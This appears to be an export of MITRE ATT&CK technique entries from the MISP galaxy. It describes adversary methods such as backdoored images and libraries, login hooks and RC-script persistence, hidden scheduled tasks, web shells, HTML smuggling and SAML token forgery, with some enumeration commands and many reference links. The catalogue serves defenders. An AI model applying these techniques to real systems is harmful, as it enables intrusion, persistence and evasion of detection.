Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)

Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003"*

Table 8662. Table References

Links
https://attack.mitre.org/techniques/T1204/003

https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation
https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/

File Deletion - T1630.002

Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019)

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.

The tag is: *misp-galaxy:mitre-attack-pattern="File Deletion - T1630.002"*

Table 8663. Table References

Links
https://attack.mitre.org/techniques/T1630/002
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html

Login Hook - T1037.002

Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)

Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)

Note: Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch

Agent](https://attack.mitre.org/techniques/T1543/001)

The tag is: *misp-galaxy:mitre-attack-pattern="Login Hook - T1037.002"*

Table 8664. Table References

Links
https://attack.mitre.org/techniques/T1037/002
https://developer.apple.com/documentation/devicemanagement/loginwindowscripts
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html
https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
https://www.sentinelone.com/blog/how-malware-persists-on-macos/

Malicious Library - T1204.005

Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)

In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Library - T1204.005"*

Table 8665. Table References

Links
https://attack.mitre.org/techniques/T1204/005
https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/
https://www.fortinet.com/blog/threat-research/malicious-packages-hiddin-in-npm

Software Packing - T1406.002

Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. An example packer is FTT. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

The tag is: *misp-galaxy:mitre-attack-pattern="Software Packing - T1406.002"*

Table 8666. Table References

Links
https://attack.mitre.org/techniques/T1406/002

Mutual Exclusion - T1480.002

Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)

While local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.(Citation: Microsoft Mutexes) By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.(Citation: Sans Mutexes 2012)

In Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.(Citation: Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023)

Mutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation: ICS Mutexes 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Mutual Exclusion - T1480.002"*

Table 8667. Table References

Links
https://attack.mitre.org/techniques/T1480/002
https://intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/
https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/
https://learn.microsoft.com/en-us/dotnet/standard/threading/mutexes
https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game
https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/

Transport Agent - T1505.002

Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.

Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.

The tag is: *misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002"*

Table 8668. Table References

Links
https://attack.mitre.org/techniques/T1505/002
https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

SAML Tokens - T1606.002

An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)

An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

An adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)

The tag is: *misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002"*

Table 8669. Table References

Links
https://attack.mitre.org/techniques/T1606/002
https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/
https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/

HTML Smuggling - T1027.006

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)

Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.

For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006"*

Table 8670. Table References

Links
https://attack.mitre.org/techniques/T1027/006
https://outflank.nl/blog/2018/08/14/html-smuggling-explained/
https://www.menlosecurity.com/blog/new-attack-alert-duri
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/

Upload Tool - T1608.002

Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)

Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.

The tag is: *misp-galaxy:mitre-attack-pattern="Upload Tool - T1608.002"*

Table 8671. Table References

Links
https://attack.mitre.org/techniques/T1608/002
https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/
https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/
https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

Domain Groups - T1069.002

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002"*

Table 8672. Table References

Links
https://attack.mitre.org/techniques/T1069/002

Domain Accounts - T1078.002

Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002"*

Table 8673. Table References

Links
https://attack.mitre.org/techniques/T1078/002
https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://ubuntu.com/server/docs/service-sssd

Domain Account - T1087.002

Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.

Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"*

Table 8674. Table References

Links
https://attack.mitre.org/techniques/T1087/002
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/

Stripped Payloads - T1027.008

Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system's `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)

Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Stripped Payloads - T1027.008"*

Table 8675. Table References

Links
https://attack.mitre.org/techniques/T1027/008
https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/
https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery
https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/

Embedded Payloads - T1027.009

Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable

adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)

Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)

For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021)

Embedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)

The tag is: *misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009"*

Table 8676. Table References

Links
https://attack.mitre.org/techniques/T1027/009
https://github.com/peewpw/Invoke-PSImage
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1
https://securelist.com/my-name-is-dtrack/93338/
https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a
https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/
https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html

RC Scripts - T1037.004

Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system's startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

Adversaries may establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.

Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)

Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)

The tag is: *misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004"*

Table 8677. Table References

Links
http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
https://attack.mitre.org/techniques/T1037/004
https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Scheduled Task - T1053.005

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote

Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)

Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)

The tag is: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"*

Table 8678. Table References

Links
https://attack.mitre.org/techniques/T1053/005
https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md
https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/library/dd315590.aspx
https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
https://x.com/leoloobeek/status/939248813465853953

Web Shell - T1505.003

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to

execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"*

Table 8679. Table References

Links
https://attack.mitre.org/techniques/T1505/003
https://github.com/nsacyber/Mitigating-Web-Shells
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.us-cert.gov/ncas/alerts/TA15-314A
https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/

Systemd Timers - T1053.006

Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)

Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.

An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)

The tag is: *misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006"*

Table 8680. Table References

Links
http://man7.org/linux/man-pages/man1/systemd.1.html
https://attack.mitre.org/techniques/T1053/006
https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
https://wiki.archlinux.org/index.php/Systemd/Timers
https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300
https://www.tecmint.com/control-systemd-services-on-remote-linux-server/

Startup Items - T1037.005

Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)

This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.

The tag is: *misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005"*

Table 8681. Table References

Links
https://attack.mitre.org/techniques/T1037/005
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Cloud Groups - T1069.003

Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud

permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.

With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).

Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET <a href="https://cloudidentity.googleapis.com/v1/groups</code&gt" class="bare">https://cloudidentity.googleapis.com/v1/groups</code&gt; lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands <code>ListRolePolicies</code> and <code>ListAttachedRolePolicies</code> allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)

Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Groups - T1069.003"*

Table 8682. Table References

Links
https://attack.mitre.org/techniques/T1069/003
https://cloud.google.com/identity/docs/reference/rest
https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0
https://github.com/True-Demon/raindance
https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/

Email Account - T1087.003

Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)

In on-premises Exchange and Exchange Online, the <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking

Exchange MailSniper, 2016)

In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Account - T1087.003"*

Table 8683. Table References

Links
https://attack.mitre.org/techniques/T1087/003
https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019
https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist
https://support.google.com/a/answer/166870?hl=en
https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/

Local Accounts - T1078.003

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003"*

Table 8684. Table References

Links
https://attack.mitre.org/techniques/T1078/003

